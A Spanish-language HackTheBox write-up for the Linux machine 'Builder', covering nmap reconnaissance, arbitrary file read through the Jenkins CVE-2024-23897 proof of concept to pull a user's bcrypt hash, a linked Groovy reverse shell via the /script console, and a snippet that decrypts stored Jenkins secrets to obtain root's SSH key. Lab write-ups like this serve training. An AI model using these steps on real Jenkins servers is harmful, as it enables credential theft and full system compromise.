← Volver a writeups

Builder

Medium · Linux · 2026-05-21


Información de la máquina

CampoDetalle
PlataformaHackTheBox
Sistema operativoLinux
DificultadMedia
CategoríaLinux
Fecha—

Reconocimiento

Nmap

nmap -p- --open -sS -sC -sV --min-rate 2000 -n -Pn 10.129.230.220 -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-21 03:52 EDT
Nmap scan report for 10.129.230.220
Host is up (0.041s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open  http    Jetty 10.0.18
|_http-title: Dashboard [Jenkins]
| http-robots.txt: 1 disallowed entry 
|_/
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Jetty(10.0.18)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.41 second
PuertoEstado
22/tcpopen
8080/tcpopen

Enumeración Web

Podemos ver muchas cosas interesantes en esta captura, tenemos la version, la api y el login:

Tras probas con creds default en jenkins (en algunos dicen que no existe y en otros dicen que es jenkins:jenkins) no veo que me logguee.

Tras buscar la version de jenkins me encuentro con este cve:

https://github.com/Maalfer/CVE-2024-23897

Ya que tenemos lectura de archivos, podemos leer archivos interesantes:

Así se ve la estructura de jenkins:

Vamos a ver que información podemos sacar.

python3 poc.py 10.129.230.220 8080 /var/jenkins_home/users/users.xml                                          
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
      <string>jennifer_12108429903186576833</string>: No such agent "      <string>jennifer_12108429903186576833</string>" exists.
  <idToDirectoryNameMap class="concurrent-hash-map">: No such agent "  <idToDirectoryNameMap class="concurrent-hash-map">" exists.
    <entry>: No such agent "    <entry>" exists.
      <string>jennifer</string>: No such agent "      <string>jennifer</string>" exists.
  <version>1</version>: No such agent "  <version>1</version>" exists.
</hudson.model.UserIdMapper>: No such agent "</hudson.model.UserIdMapper>" exists.
  </idToDirectoryNameMap>: No such agent "  </idToDirectoryNameMap>" exists.
<hudson.model.UserIdMapper>: No such agent "<hudson.model.UserIdMapper>" exists.
    </entry>: No such agent "    </entry>" exists.

ERROR: Error occurred while performing this command, see previous stderr output.
Error al intentar conectar el nodo: Command 'java -jar jenkins-cli.jar -s http://10.129.230.220:8080/ -http connect-node @/var/jenkins_home/users/users.xml' returned non-zero exit status 5.

Como podemos ver, tenemos jennifer_12108429903186576833 por lo que podemos buscar su archivo de config:

python3 poc.py 10.129.230.220 8080 /var/jenkins_home/users/jennifer_12108429903186576833/config.xml

      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>: No such agent "      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>" exists.

He vaciado info para tener lo mas importante.

intentamos crackear: $2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a

Ya tenemos la password, por lo que ya podriamos iniciar sesion:

Hay dos formas de obtener una shell desde aquí, voy a ir por la sencilla, para mas info, se puede mirar el writeup de jeeves.

/SCRIPT:

https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76

Tenemos shell y user.txt

Me acabo de dar cuenta que ya teníamos acceso a esto y que realmente no era necesario, por lo que investigamos la pagina a ver que hay:

Hay un apartado de root donde hay una key, vamos a buscar a ver si se puede desencriptar:

https://gist.github.com/hoto/d1c874480888f8711f12db33a20b6e4d

desde /script se puede:

hashed_pw='{AQAAABAAAAAQB68ttY8Fp7wpTtF/d8VPl8ZU5PZEIJbofSrTgZXxbdY=}'
passwd = hudson.util.Secret.decrypt(hashed_pw)
println(passwd)

Tenemos la clave privada, intentamos guardarla y acceder por ssh a root:

chmod 400 id_rsa
ssh root@10.129.230.220 -i id_rsa